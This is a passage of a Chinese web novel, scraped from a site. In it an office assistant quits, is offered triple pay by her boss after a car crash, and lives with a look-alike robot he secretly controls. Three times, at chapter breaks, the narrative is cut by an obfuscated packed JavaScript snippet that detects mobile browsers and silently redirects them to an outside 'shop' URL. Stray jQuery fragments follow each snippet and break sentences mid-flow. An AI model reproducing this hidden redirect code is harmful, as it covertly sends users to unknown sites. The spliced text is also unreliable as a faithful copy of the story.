;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345208|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好意思。”一个穿着灰色西装,留着络腮胡的男人也走了过来,他站在林静知面前,嘴里说着抱歉的话,面上却没有任何歉意,“我们工作内容比较重要,且文件较多,所以你的工位我们需要暂时征用一下。真是对不住,还得麻烦你搬到门对面的那张桌子上去。” “当然,等我们工作告一段落马上就把你的位置还回来,要是你坐不惯门对面那张桌子,也可以去和人事申请更换,毕竟你的工作比较清闲。” 男人喋喋不休,像是一切都在为公司和她在考虑。 林静知:“那我是不是还要谢谢你。” “谢谢就不用了,都是为公司做事,要是你没事的话,我们就先去工作了,有什么问题你都可以来请教我们。” “请教?”林静知将包放在原本的位置上,嗤笑,“我什么时候同意换位置了,且不说先来后到,大家同为裴总助理只是负责内容不同,何来的我不重要之说。” 就算她的工作不重要,接触不到知寰核心业务,那也不是他们可以评判的。 就算她明天离职,今天该属于她的东西谁也抢不走。 林静知:“要不然让裴总来评判一下我们的工作。” “大家都是同事,林助理不要这么小气啊,况且就是一张桌子,何必闹到裴总那里。” 西装男有些怵,他没想到林静知会这么刚,一个简单的位置竟要惊动裴总,他刚来到这个团队,只是想找一个新人杀鸡儆猴,提高一下自己的威望罢了。 林静知没理会他,回到自己工位,打开电脑,将早已写好的辞职申请发送到裴予衡邮箱。 一气呵成,做完这些,她开始将工位上不属于自己的东西搬走。 这个位置,只要她在一天,就一天是她的。 文件繁杂又多,林静知搬了好一会,气喘吁吁,累得不行。刚坐下休息一会,就看到谭啸急匆匆推开总经办的大门。 他说:“林助理,裴总请你过去。” “好的。”没想到裴予衡看到信件的速度这么快。 林静知淡淡点头,跟在谭啸后面,她没想到裴予衡能这么快看到消息。 “裴总,您找我?” 林静知走到办公桌前,停住。 初升日光透过玻璃照射进来,晕染在林静知周围,她背影挺拔,面带微笑,注视着面前的裴予衡。 “你要辞职?”男人面色冷峻,嘴角下压,浑身都透露出生人勿进,我不高兴的气场。 林静知忍不住撇嘴,他哪门子不高兴,她才是苦主好吧。 想到这,林静知也板起脸,公事公办回答:“是的,裴总。出于我对职业发展的考虑,我决定辞职,希望您尽快批准。” “要是我不同意呢?” 林静知笑起来,“裴总,辞职报告我已经提交,我想您也应该知道,您的同意或者不同意都不影响我一个月后自动离职。” 裴予衡没说话,他微微掀起眼皮,凝视着面前镇定自若的林静知,随即,眉尾轻挑,眼中的冷色刹那间尽数消退。 他站起身,慢慢将椅子推回原位,又从桌子的密码箱里拿出一份文件,走到旁边沙发上坐下。 他轻轻向她招手,“林静知,我们谈谈。” 8. 我给你三倍工资 林静知搞不明白裴予衡要和她谈什么,带着满腹疑问,她走过去,坐在裴予衡对面。 “裴总,您要和我谈什么?” 裴予衡没说话,将合同放到茶几上,轻轻指了指,随后推到林静知面前,“看看,我想你会改变你刚才的决定。” 林静知抬手将合同拿起,翻到第一页,刚瞥了一眼,又猛地合上。 她刚才看到什么?前段时间刚体检完,视力好到不行,应该没眼花。 林静知拍拍胸脯,淡定吐出一口气,然后又翻开合同,手指放在上面,一个字一个字确认过去。 通篇仔细读完,林静知提炼出整个合同的重点内容,那就是——工资三倍,一年后调任研发岗。 三倍工资,还能直接从助理岗调任研发岗,谁家公司可以给员工开出这样的福利啊。 这哪是招员工啊,林静知瞟了一眼对面一脸淡定的裴予衡,心里腹诽道,这分明是招小三啊! “裴总,”林静知飞速将合同合上,又恭恭敬敬推了回去,面带笑容,好奇问道:“您有老婆吗?” 裴予衡:“……” 好想把她的脑子敲开,看看里面到底装了什么。 “没有。”他语气冷淡,甚至带上了一丝薄怒,过了一会看着被推回的合同,他又问,“怎么,合同上开的条件你不满意?” “很满意,”甚至满意过头的让她害怕,林静知说,“我就是想知道,裴总开这么好的条件,就为了让我一个不起眼的员工留下,目的是什么?” 世界上没有免费的午餐,天上掉馅饼的事情更是无稽之谈,每样送到你面前的东西,背后都需要付出更多。 裴予衡嗤笑,“那你觉得我有什么目的?” 林静知不想和他兜圈子,她对自己有自知之明,以她现在的眼界和头脑玩不过裴予衡,所以最好的办法就是从根源切断。 她说:“条件是您开的,您的目的我怎么会知道,要是裴总没其他的事情,我就回去继续工作了。” 说完,林静知就要起身离开。 “这场车祸不是意外。”裴予衡清冷的嗓音从后面传来,随着细微暖风声,送入林静知的耳边,让她震惊不已。 “你说什么?” “我说,这场车祸是专门针对我的,”裴予衡从沙发上起来,随手整理西装上的褶皱,漫不经心走到林静知面前,面带微笑,吓唬道:“哦,或许现在也加上你了。” 林静知长这么大从没遇过这样的事,虽然她不太相信裴予衡刚刚说的话,但是还是忍不住产生一丝害怕。 她强打起精神,说:“我不过是个小员工,他们针对我做什么?裴总没必要吓唬我。” 裴予衡挑眉,哼笑,“我是不是吓唬你,你可以回去慢慢感受,现在嫌疑人仍逍遥法外,不知哪天就会突然冒出来,给我,给你,再来一击。你已经牵扯进来,无论如何也跑不掉。” 他继续补充,“当然,我给这份合同不单单是为了补偿你,在犯罪嫌疑人未落网之前,我希望你搬到我准备好的房子里去。还有,我离你也不会太远,这样不仅方便你工作,也能保障你的人身安全。” “林助理,你觉得如何?” 林静知沉默不语,她大脑飞速转动,思考裴予衡话里有几分真假,她要不要答应裴予衡提出的条件。 “你有三天时间考虑,”裴予衡微微靠近,“放心,这买卖不亏。还有,我也没那么饥不择食,对你有什么非分之想,你的两种人身安全都能得到保障。” 林静知:“……”好想打人。 “好的,裴总,我会好好考虑的。”林静知皮笑肉不笑点点头,拿起合同,转身头也不回离开办公室。 “咔哒——”一声关门声,办公室内恢复寂静。 门关上的那一刻,裴予衡终于松口气,他将自己沉沉陷入沙发中,手撑着额头,疲惫阖上双眼。 昨天晚上林静知和她那闺蜜闹到半夜,好不容易可以休息一会,机器人又启动程序开始准备早餐,一天一夜,他愣是连眯一会的机会都没有。 “你提的条件,林静知能答应吗?”见屋内交谈声渐渐消失,江闻彻从隔间中出来。 他站在隔间门口,敲敲胡桃色的门板,异常嫌弃,“裴予衡,你什么审美,屋内装修难看死了,还有这破门也不隔音,影响我听墙角。” 裴予衡抬眸,冷冷看他一眼,“你可以找薛峻峰帮你重新装修。” 薛峻峰是裴予衡同父异母的弟弟。 裴予衡的母亲裴微澜在大学时对他的父亲薛竞成一见钟情,不顾父母阻拦要强行嫁给他,薛竞成不愿妻子和她的父母闹得太僵,于是在裴家门前跪了三天三夜表示愿意入赘裴家,只求二老别把他们分开。 一边是疼爱二十多年的女儿,一边是下跪磕头愿意入赘的痴心男人,裴父裴母也不愿葬送女儿的幸福,终于松口答应把女儿许配给他,只不过在领证前要求二人签署婚前协议,女方所有资产和男方无任何关系。 在律师见证下,薛竞成心甘情愿签署协议,取得美人归,在裴家的帮助下,短短几年,薛竞成变得事业有成。 可事业有成的男人怎么会甘心屈居女人之下,年少时积攒的感情在金钱、欲望、灯红酒绿的花花世界冲击下渐渐消逝。 终于,在裴予衡五岁时,薛竞成领回来一个和他差不多大的男孩,是薛竞成在外面的私生子,叫薛峻峰。 他牵着男孩站在裴微澜面前,笑得很开心,“微澜,我是爱你的,但是我们薛家就我一个儿子,我不能让他在我这里断代了啊。你身体不好,不能生二胎,没关系,有人帮我们生,从此以后我们一家四口好好过日子。” 那天晚上,家里闹得天翻地覆,小小的裴予衡看着虚弱的母亲被气得口吐鲜血,她将父亲赶出了家门,两人就此分开。 但是,让裴予衡没想到的是,他们没有离婚,直到母亲骤然去世,他的配偶栏依旧是薛竞成。 裴予衡想不明白,也不想明白,他只知道在这一天,这个世界少了一个他最爱的人。 也多了一个,他最恨的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345209|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江闻彻举双手投降,“得,我不说还不成嘛。”他从冰箱里拿出一瓶饮料,仰头猛喝一口,“唯一可惜的是我没见到这姑娘真面目。” 裴予衡瞥他一眼,眼神似刀,“你看她做什么?” 江闻彻:“我闲的行不?” 裴予衡:“闲的话可以把公司打扫一下,保洁阿姨一定会夸你是整栋大楼最善良的人。” 江闻彻不理他,他走到沙发后面,将饮料丢在茶几上,然后轻轻一翻,坐在裴予衡旁边。 “你真奸诈,都没和人家姑娘说你准备好的房子在你隔壁,”江闻彻摇摇头,笑得一脸暧昧,“司马昭之心,路人皆知哦~” 裴予衡从沙发上起身,回到办公桌前开始处理今天的工作,“你可以滚了。还有,等林静知搬过去,抓紧检查一下机器人到底有什么问题。” 江闻彻:“……” 林静知回到总经办后那个圆脸女孩又扬着笑脸走了过来,她笑嘻嘻朝林静知伸手,“你好,我叫郭晚,”她压低声音,“你刚刚怼康佑齐时真的帅死了,自从他来到总经办,这里都被他搞得乌烟瘴气了。” 林静知轻笑,她也压低声音,靠近郭晚,“你这么在背后说他坏话,不怕我告密啊?” 郭晚摇头,“我用塔罗牌算出你不是这样的人,而且我还算出你最近走运,马上就能辉煌腾达。” 林静知心里一惊,心想这所谓的塔罗牌在某方面算得还真挺准。走不走运不知道,但是,要是她答应裴予衡提出的条件,也确实能算得上要辉煌腾达了。 林静知又问:“那你再帮我算算我现在去买彩票能不能中奖。” 郭晚继续摇头,“这是财神爷的活,我干不了,”她摸了摸并不存在的胡子,一脸神秘,“但是,我观你面色红润,施主,你最近桃花旺盛啊!” 林静知“……” 能不能把旺盛的桃花换成人民币,她挺缺钱的。 回到工位,林静知一瞬间放松下来,她闭眼仰靠在椅子上,思考到底要不要答应裴予衡提出的要求。 她本以为只是一次意外,没想到却是一次有预谋的报复,如果真的答应了,后面还会不会有其他的报复。 思考到这,林静知真想仰天长叹,这男人,真的克她! 但是,这男人,给的也是真多啊! 昨晚熬夜太狠,就在这思考间隙,林静知感觉自己双眼慢慢阖上,这是她复工第一天,千万不能在工位上睡过去。 于是她赶紧又从座位上爬起来,冲到了茶水间。 这个时间点,本应该是人来人往的茶水间,此时却只有一人。 “裴总,您来冲咖啡啊?”林静知笑着打招呼。 裴予衡瞄了她一眼,皮笑肉不笑,“是啊,本以为早上来的时候桌上就应该有一杯冲好的咖啡,没想到什么都没有,”裴予衡将空的咖啡杯放在林静知面前,“你说是不是啊,林助理?” 林静知:“……” 好像是哦,她被裴予衡气的忘记给他冲咖啡了。 9. 你叫裴予衡 裴予衡最终还是喝上了咖啡,自己亲手冲的,走的时候,又顺手冲了一杯放到林静知旁边,朝她露出一个异常和善的笑容,“林助理,真是辛苦你了。” 林静知:“……”呵呵,不辛苦,命苦。 林静知端起咖啡,朝裴予衡点点头,回以同样的微笑道谢:“谢谢裴总咖啡,喝一口感觉全身都能充满力量了。” 裴予衡:“是嘛,那还真感谢林助理为公司鞠躬尽瘁。” 说完,他轻轻勾唇,转身离开。 林静知端着咖啡回到工位,自从转为裴予衡私人助理后,她工作量骤减,将上午工作处理完,林静知掏出手机给许晨星发消息。 林静知不知:【星星,醒了没?】 星星睡不醒:【醒啦!醒啦!你的早饭也被我消灭干净了哦~】 林静知发送了一个“你超级棒!”的表情,开始说合同的事情。当然,关于车祸那部分,林静知选择隐瞒掉。 星星睡不醒:【你说什么!三倍工资!一年后调任研发岗!你们老板暗恋你啊?开这么好的条件,能内推吗?我也想要三倍工资。】 林静知不知:【裴予衡给我三天时间考虑一下,我准备答应下来。】 星星睡不醒:【可以可以,这条件别说克你,加上我,克咱俩都值了!】 林静知被许晨星的话逗得笑趴在桌子上,她不是一个笑点低的人,却总能被许晨星的各种话逗笑。 林静知不知:【我还是有点小迷信的,要不我答应裴予衡之前,我们先去寺庙拜一拜呗,我发现咱俩这段时间都挺倒霉的。】 星星睡不醒:【没问题,到时候把蒋迟砚也叫上。】 祈祷他能长命百岁。 和许晨星发完消息,林静知开始走请事假流程。又因为她的工作直接对接老板,有些特殊,因此,林静知又专门给裴予衡发送了一则邮件。 当然,这个事假具体要去干什么林静知选择隐瞒了,总不能说,我是请假去寺庙求个护身符防止老板来克我的吧! 邮件发送完毕,林静知对着每日计划查看是否还有未完成工作,将所有处理好的任务打上一个圆满的勾后,她心满意足打开抽屉拿出考研书看了起来。 还没开始看几行,微信传来滴滴滴的提示声,林静知划开手机是裴予衡的消息。 “明天为什么要请假?” 只是简单的一句话,林静知已经可以脑补出裴予衡冷冷端坐在电脑前,眉头紧锁,敲下这一行字的模样。 林静知:“当然是因为有事情啊,难不成裴总还要管员工的私事?” 裴予衡:“你的私事我不过问,但我明天有重要晚宴,你作为我的私人助理不能缺席,不批假。” 林静知:“……” 还有助理不能缺席的场合?知道的是晚宴,不知道还以为是结婚典礼呢,就算是结婚典礼,新娘还能逃婚呢。 但是这些话林静知是不敢说的,她只能气呼呼给裴予衡发去一个死亡笑脸,然后结束这场不愉快的交谈。 没有繁杂的工作,一下午时间很快过去。 五点刚过,林静知已经把工位收拾干净,将托特包背在肩上,在众人羡慕目光中起身离开。 刚打开总经办大门,林静知抬眸望去,落日余晖将天空铺成橘红色,裴予衡拿着手机,慵慵懒懒站在巨大落地窗前,目视远方。 上午刚受完气,林静知现在是一点不想和他打招呼。 于是,她放轻脚步,打算从裴予衡身后悄悄溜走,但是,男人的后脑勺好似长了一双眼睛,她刚想抬脚,他便迅速转过身来。 “林助理,这么早下班啊?” 林静知唇角挤出一丝苦笑,“今天晚上有很重要的事情,裴总您是有什么要交代我吗?” 裴予衡:“没事,路过而已。” 林静知:“……” “好的,那裴总您要是有事情随时联系我。”林静知语气急切,说完,她毫不犹豫,转身离开。 望着林静知越来越远的身影,裴予衡挑眉轻笑,他倒要看看她今晚有什么重要事情。 回到出租房时,时间已将近七点,林静知从包里掏出钥匙打开防盗门,她抬眼看去,客厅内漆黑一片,只有厨房露出一丝微黄暖光。 林静知抬脚进屋,反身将防盗门轻轻合上,顺着微弱的光源朝厨房走去,刚把手覆在门把上,门突然从里面打开,‘裴予衡’笑意盈盈端着一碗鸡汤,眸光幽深注视着她。 “主人,您回来了,先洗手,马上就可以吃饭了。”暖黄灯光从头顶倾泻而下,将他温柔笼在其间,他睫毛低低垂着,半明半暗间,林静知脑海里竟然蹦出面前的‘裴予衡’是真人的错觉。 被这种感觉惊到,林静知瞬间有些不自然,“你……你先放到我房间去。”她用手捂嘴,咳了两声,又向后指了指卧室,然后侧身越过他进入厨房。 本来还想着回来教训一下这个裴予衡替代品出出气,可看到它这么任劳任怨将饭做好,在夜色中乖巧等她回家,林静知顿时有点不忍心了。 她拼命安慰自己,和黑心老板长得一样不是它这个可爱机器人的错,要怪就怪裴予衡本人,不能把火气撒在一个无辜的机器人身上。 几分钟后,林静知终于把自己哄好,她关上水龙头,用力甩甩双手,回到卧室准备吃饭。 她打开卧室门,饭桌上已经摆放好两菜一汤,看起来色香味俱全,林静知猛吸一口,准备坐下享用晚餐。 还没等拉开椅子,放在床上的手机便传来裴予衡邮件的专属提示音。 林静知眉心微蹙,刚平熄下来的怒气,又腾地一下从脚底升起。她气冲冲起身,将手机一把捞过来,愤愤地划开屏幕,点进邮箱。 只有简短的一句话。 【林助理,不要在外面闲逛太久,这些文件需要你立刻处理好,十二点前麻烦发给我,还有明天不要迟到。】 胸腔中充满的怒火不知怎的在看到信息这一秒好似消失得无影无踪,林静知别过脸,看向乖顺站在床头的‘裴予衡’,扯了扯嘴角,无声地笑了。 她慢慢走过去,走到‘裴予衡’面前,温柔注视着他。 “主人,你在看我吗?”‘裴予衡’不明白林静知的举动,好奇问道。 “不,我不是在看你,”林静知微微挑眉,握紧拳头,嗤笑,“我是想揍你啊!” 话音刚落,躺在机器人身体里的裴予衡就看到一只白皙的手重重落在他的脸上。 “啪——”响亮的耳光声在卧室上空盘旋, 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一片寂静,无人回应。 ‘裴予衡’:“……”谁叫裴予衡啊? “哦,我忘记给你起名字了,”林静知轻拍脑门,“从现在开始你就叫裴予衡。” “明白,我很喜欢主人给我的姓名!”‘裴予衡’的语气兴奋,连带声音都上升好几个度,但林静知没注意到的是,他那双幽深的眼眸却在她看不到的地方透露出一种别样的情绪。 他又说:“我现在是裴予衡,主人,你可以惩罚我啦~” 林静知:“……” 怎么感觉这机器人解锁了什么不得了的癖好啊。 林静知咳了两下,将思绪拉回,开始吐槽这段时间他干的‘好事’,“我好不容易转正,结果你一来就挑我毛病,让我转成你的私人助理,不答应就要辞退我,这些我都可以忍,”林静知深吸口气,“第一次出差就遇上车祸,差点小命不保,出院后还要面对你仇家的报复,裴予衡啊裴予衡,你简直就是我的克星!” “不要说你给我开高工资,那是我应得的!还不让我请假,你知道我为什么请假吗?那是因为我要求个签,我怕我没拿到这些工资就被你送上西天了!” 噼里啪啦一连串的控诉让直挺挺站在林静知前面的‘裴予衡’不敢动一下,它有限的智能情感分析告诉它,现在的主人很是生气,它不能动。 当然,它这样做了。 林静知吐槽完毕,气消了不少,正当她扶着椅背要下来时,原本一动不动的‘裴予衡’却突然大笑起来。 ‘裴予衡’:“哈哈哈哈哈哈哈哈。” 林静知刚消下的怒气顿时又被它笑了起来,她气势冲冲走到‘裴予衡’前面,狠狠点了它的额头,“你主人倒霉成这样,有这么好笑吗?” “主人,不是我想笑的,”‘裴予衡’捂着额头,一脸无辜和委屈,“有人在控制我的程序,我中病毒啦!我中病毒啦!” 裴予衡:“……” 此时,躺在机器人身体里的裴予衡却蓦然睁开眼睛,刚才确实不是机器人在笑。 是他。 10. 许个愿望 也不知是不是昨天晚上教训‘裴予衡’起了作用,林静知睁开眼就看到黑心老板的微信弹出一条消息。 【允许你带薪休假。】 短短七个字让林静知猛地从床下坐起来,她紧紧盯着屏幕,再次确认这个不是她没睡醒的幻觉。 真的是休假,还是带薪的,裴予衡怎么会突然如此大发善心? 带着怀疑心情,林静知犹犹豫豫回了一条消息。 【裴总,真的带薪休假?】 消息刚发出,对面就传来回复:【不愿意现在就来上班,我在家等你。】 林静知修长白皙的双手放在手机键盘上飞速敲击,【愿意,愿意,裴总真是一个体恤员工的好老板!】后面还跟着三个黄豆笑脸。 真是个马屁精,裴予衡嗤笑。 他左手支着额头,右手随意在键盘上轻轻划过,【真的吗?我怎么梦见有人说我是个黑心老板,还克她啊。】 林静知:【谁啊?怎么能这么说我们一心为员工考虑的老板,太没良心了吧,必须强烈谴责!】 裴予衡:【不知道,可能那个人现在正偷偷躲在角落里心虚吧。】 林静知:“……”胡说,她可一点都没有心虚。 就是裴予衡这个梦还挺厉害,居然可以梦到她说他克她。 林静知叹口气,下次还是在心里骂吧,万一哪天她激动,当着裴予衡的面骂出来,以他那小心眼的模样,还不得让她吃不了兜着走。 不用早起上班,林静知和许晨星约了个出发时间,没理会‘裴予衡’的早饭服务,又将手机扔到一边,重重跌回温暖被窝,开始呼呼大睡。 直到日上三竿,林静知才悠悠转醒。 她靠在床头,半眯着眼划开手机,微信置顶传来许晨星的消息。 星星睡不醒:【知知,我和蒋迟砚快到你家了,赶紧起来收拾一下,吃完饭我们去法喜寺。】 消息是十分钟前发来的,按照许晨星的行事风格,这会应该要到楼下了。 果不其然,等林静知穿好衣服,准备洗漱时,老旧的防盗门外传来一阵敲门声。 “裴予衡,你去开门。”林静知一边刷牙,一边吩咐道。 ‘裴予衡’收到林静知的命令,将最后一杯牛奶放到餐桌上,转身去开门。 “知……” 门开的一瞬间,许晨星看着‘裴予衡’穿着小猫围裙,面无表情站在门口,冷冷看着远道而来的她和蒋迟砚。 见他板着的一张死人脸,许晨星刚起调的知知在喉咙里转了一圈愣是没喊出来。 “早上好~”她尴尬朝他打招呼。 一瞬间,‘裴予衡’恢复到正常情绪模样,他伸出手,“早上好,两位客人,我的主人正在洗漱,麻烦你们稍等一下。” “不麻烦,不麻烦。”许晨星摆摆手,跟在‘裴予衡’后面向卧室走去。 还没走两步,后面的蒋迟砚轻轻拉住她的衣角,他快步跟上,走到许晨星身边,压低声音,“这就是你送给知知的生日礼物,怎么看起来有点奇怪呢?” 许晨星倾斜身体,靠近蒋迟砚耳朵,同样压低声音,“我也觉得奇怪,这个机器人的感情好像有点过于丰富了,上一次我就被它吓到,还想让知知把它返厂检验一下呢。” 许晨星又说:“上次我忘了告诉你,这个机器人最特殊的一点不是感情丰富,而是,它和知知的老板长得一模一样。” 知知老板? 蒋迟砚心里猛地一沉,不知道为什么,他明明没见过知知这位老板,却感觉这个男人很不对劲呢。 “蒋迟砚,你在想什么?站在这一动不动的,赶紧走,知知的早餐都准备好啦。” 许晨星的呼唤打断了蒋迟砚的思绪,他收敛心神,应了声好,嘴角扯出一丝笑容跟在许晨星身后走进卧室。 三人简单吃完早饭,驱车赶往法喜寺。 或许是工作日缘故,路上车流稀稀落落,本来一个半小时的路程,现在不到一小时就到了。 法喜寺不愧是北城最大的寺庙,即使是工作日,也是人来人往,络绎不绝。 寺庙的停车场早就没了位置,许晨星开着她那粉色大G在周边转了好久,终于在一个附近的居民家院子里找到了一个空位。 当然,车也不是白停的。下车前,许晨星给这家主人微信扫了二百块。 她一边扫码一边嘟囔:“阿姨,你这停车费收得也太贵了吧,我在商场停一天都要不了两百块唉!” 阿姨摆摆手,将手机塞进上衣口袋,操着一口熟练的方言说道:“我这位置是这个寺庙最好停车的,等你们拜完,能顺顺当当开出去,一点不带堵车的。” “行吧,那阿姨就麻烦您了。” 将车锁好,林静知背着双肩包带头走在前面。 北城冬日萧瑟,连带着寺庙的绿松柏看起来都失了些鲜活,远处传来幽幽钟声,将这处天地都染上了一丝孤寂空茫。 法喜寺从山下到山上有九九八十一阶台阶,象征着人世间的八十一难。从山脚下出发,大约需要十五分钟抵达。 蒋迟砚的身体不是很好,尽管他一直强调自己没事,但林静知还是在中途找了一块石头,让他修整一下。 她从双肩包里拿出一个黑色保温杯,轻轻拧开,递给蒋迟砚,“不着急,好不容易出来一趟,你身体最重要。” “对啊,对啊,”许晨星剥了两颗话梅糖一颗塞进自己嘴里,又给林静知塞了一颗,“什么都没有你身体重要,你可要好好的,别让我们担心。” 蒋迟砚嘴角牵起一抹苦笑,“这么多年一直都是我拖累你们。” 林静知从许晨星兜里摸出一块话梅糖放进蒋迟砚手中,温柔笑笑。 “吃了这颗糖,剩下的都是甜甜美美。然后我们一股脑冲上去,向佛祖磕十个八个响头,让他保佑我们健健康康,平平安安。” “还有,还有,我要发大财!”许晨星大笑着一手搂住林静知的脖颈,一手把蒋迟砚拉了起来。 三人笑着闹着朝最高处寺庙前进,完全没有注意到他们的身后远远站着一个眯着眼睛,神色不明的男人。 “裴总,前面好像是林助理和她的朋友”谭啸站在裴予衡身边提醒道。 “走吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345211|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”裴予衡没理会谭啸,转身朝着她们相反方向走去。 林静知在不在这里关他什么事,他又不是来见她的,他来这里只是有重要的事情要处理。 “裴总,您方向走反了,”见到裴予衡大步流星朝山下走去,谭啸赶紧提醒,“您和周总约见面的地方是寺庙后山茶房。” 裴予衡睨了他一眼,“谭啸,你今天话可真多。” 谭啸:“……” 他今天也就说了两句话而已。 经过短暂休息,林静知一行人顺利到达山顶,站在寺庙门口,许晨星探着身子向下望去,不由得感慨,“我可算上来了,真不容易,不愧是号称北城历史最悠久,许愿最灵的寺庙,人可真多。” 林静知也附和着点点头,“人确实多。”挤得她都闻到隔壁大哥口袋里没吃完的豆腐粉丝包的味道了。 穿过古朴庄严的寺庙大门,迎面是一座巍峨耸立的九层宝塔,宝塔四周被槐木制成的精美栏杆层层围住,挂在栏杆上的许愿红绳,随着被送入寺庙的寒风,在空中悠悠飘荡。 法喜寺有个流传千年的故事,诚心之人,手持三炷香,顺时针绕着这座宝塔行走三圈,心中默念,你的祈求将会被神佛听见。 “来,我们也去绕三圈。”许晨星走到旁边的随缘处拿了三个装好的信香递给他们俩,然后拉着他们跟上了许愿的一行人。 绕圈许愿的人多到可怕,为了防止蒋迟砚受到伤害,林静知和许晨星两个人一人站一边把他围在中间,三人手持信香,许着各自愿望,虔诚向前走去。 突然,一股熟悉的香气随风闯入林静知大脑,打断了她反克老板,顺便发财的祈求,她猛地抬眸,停下,转身向后望去。 “知知,你干什么呢?”许晨星见林静知突然停下,有些不解。 林静知摇摇头,“没事,只是闻到一股熟悉的味道,我们赶紧走吧,这个结束后还得上香呢。” 蒋迟砚笑道:“挺好,还能闻到其他味道,我感觉现在鼻子里全都是点燃的香火味,心灵都澄净不少。” 林静知也笑着回他:“香火全都冲着你去,说明神佛听到了祈愿,保佑你许下身体健康的愿望一定会实现。” “是啊,希望会实现。” 蒋迟砚苍白的面容在阳光的照射下也显出一点红润,他偷偷侧目,凝视着正在和许晨星说笑的林静知,轻扯嘴角,勾出一抹无声的笑容。 知知啊知知,要是我的愿望不是身体健康,长命百岁呢。 三人怀着各自心思继续向前,丝毫没注意他们身后还有个一直注视他们的男人。 “裴总,我们还继续往前走吗?” 站在裴予衡旁边的周总有些丈二摸不着头脑,刚刚还在茶室好好谈着工作的裴总,不知发了哪门子疯,突然要到前面的九层宝塔转一转。 关键是随行的助理更是配合他的想法,边走还边强调,只有诚信围绕宝塔虔诚绕三圈,他们的合作才能顺利进行下去。 周总偷偷无奈叹气,哎,算了,谁叫人家是甲方呢。 别说走三圈,要是能成功合作,三十圈他也愿意走! 11. 怎么又是你 围着宝塔绕完三圈,林静知手持信香随着人流走到敬香区的香炉前。 她将手中的香轻轻放进烈焰腾腾的香炉中,一阵微风拂过,火苗乘风舔舐,将香点燃。 点完信香,接下来就要敬神佛,林静知将三根香虔诚举过头顶,刚想进行许愿,蒋迟砚走了过来。 他看着林静知,目光专注,“知知,我们一起拜吧,人多显得心更诚。”说完,他拿着已经点好的香,站在林静知旁边。 “唉,唉,你们两个干什么,孤立我呢,”许晨星从人群中挤了出来,撅着嘴巴,站到两人中间,“为了弥补我,我就封你们为我的左右护法,站在我的旁边吧。” 林静知被她的话逗笑,轻敲她的头顶,“你幼不幼稚。” “最多八岁。”蒋迟砚也笑着附和。 “那我不管!”许晨星站直身体,目视前方,表情严肃注视着大殿中的佛像,一字一顿,仿佛在宣告什么不得了的誓言,“古有桃园三结义,今有我们三个共同许愿,身体健康,长命百岁,做一辈子的好朋友。” 许晨星话音刚落,将手中信香举过头顶,迅速闭上眼睛。 蒋迟砚却没有,香火缭绕间,他微微侧身,静静凝望着双目紧闭,表情虔诚的林静知。 他没什么愿望的,也早已屈服于自己命运。唯一遗憾的就是,这短短一生,他竟不能鼓起一丝勇气,对自己喜欢的女孩说出任何爱意。 想到这,他自嘲一笑,无奈摇摇头,旋即闭上双眼,想跟上林静知的动作。 既然不能表明爱意,那么持香一炷,三拜敬告神佛,能不能此生也算他们拜了天地。 “林静知,好巧。”一声有些清朗冷淡的声音打断他的动作,蒋迟砚顺着声音回头,却被惊得瞪大双眼。 眼前的男人和知知家的智能机器人长得一模一样。 他是知知的老板。 但是,知知的老板为什么会突然出现在这里。 一种属于男人间的直觉瞬间冲击他的大脑,蒋迟砚心中猛地一紧,他觉得此刻他应该说点什么,可满心话语却像痰一样卡在喉咙里,什么都说不出来。 “裴总,您怎么在这?”听到熟悉的声音,林静知被吓得突然睁开眼睛,她条件反射般向后转身,露出一个无比得体的职业笑容。 真是见鬼了,怎么到哪里都能遇见老板。 裴予衡手持已经点燃的信香,信步走到林静知身边,他微微侧身,歪着头看着她,轻挑眉尾,“一个客户比较信佛,就约在这里谈一些事情,没想到竟然能在这里看到林助理。” 林静知微笑:“我是陪朋友过来拜拜,她最近有些倒霉。” 裴予衡了然点头,“那林助理可要拜的虔诚一点,毕竟我看林助理最近也挺倒霉的。” 林静知:“……” 我倒霉,我倒霉那还不是拜你所赐! 看着这两人说话间夹枪带棒,许晨星愣是没敢吭一声,直到裴予衡说让林知给介绍一下她的这两位好朋友,她才显露笑容,礼貌看向裴予衡。 林静知本想和裴予衡简单打声招呼,糊弄过去,哪成想还要像向老板介绍自己的朋友。 她轻轻抿唇,呼出一个微不可查的叹息,“裴总,他们两个都是我的好朋友,”林静知靠近许晨星,拉起她的手,“这个是许晨星,我的大学同学兼室友。” 裴予衡没说话,他眉骨下压,看向她们握在一起,无比亲密的双手,漆黑无比的双眸中带上一丝莫名情绪。 “这个是蒋迟砚,也是我的大学同学。”林静知又介绍起蒋迟砚。 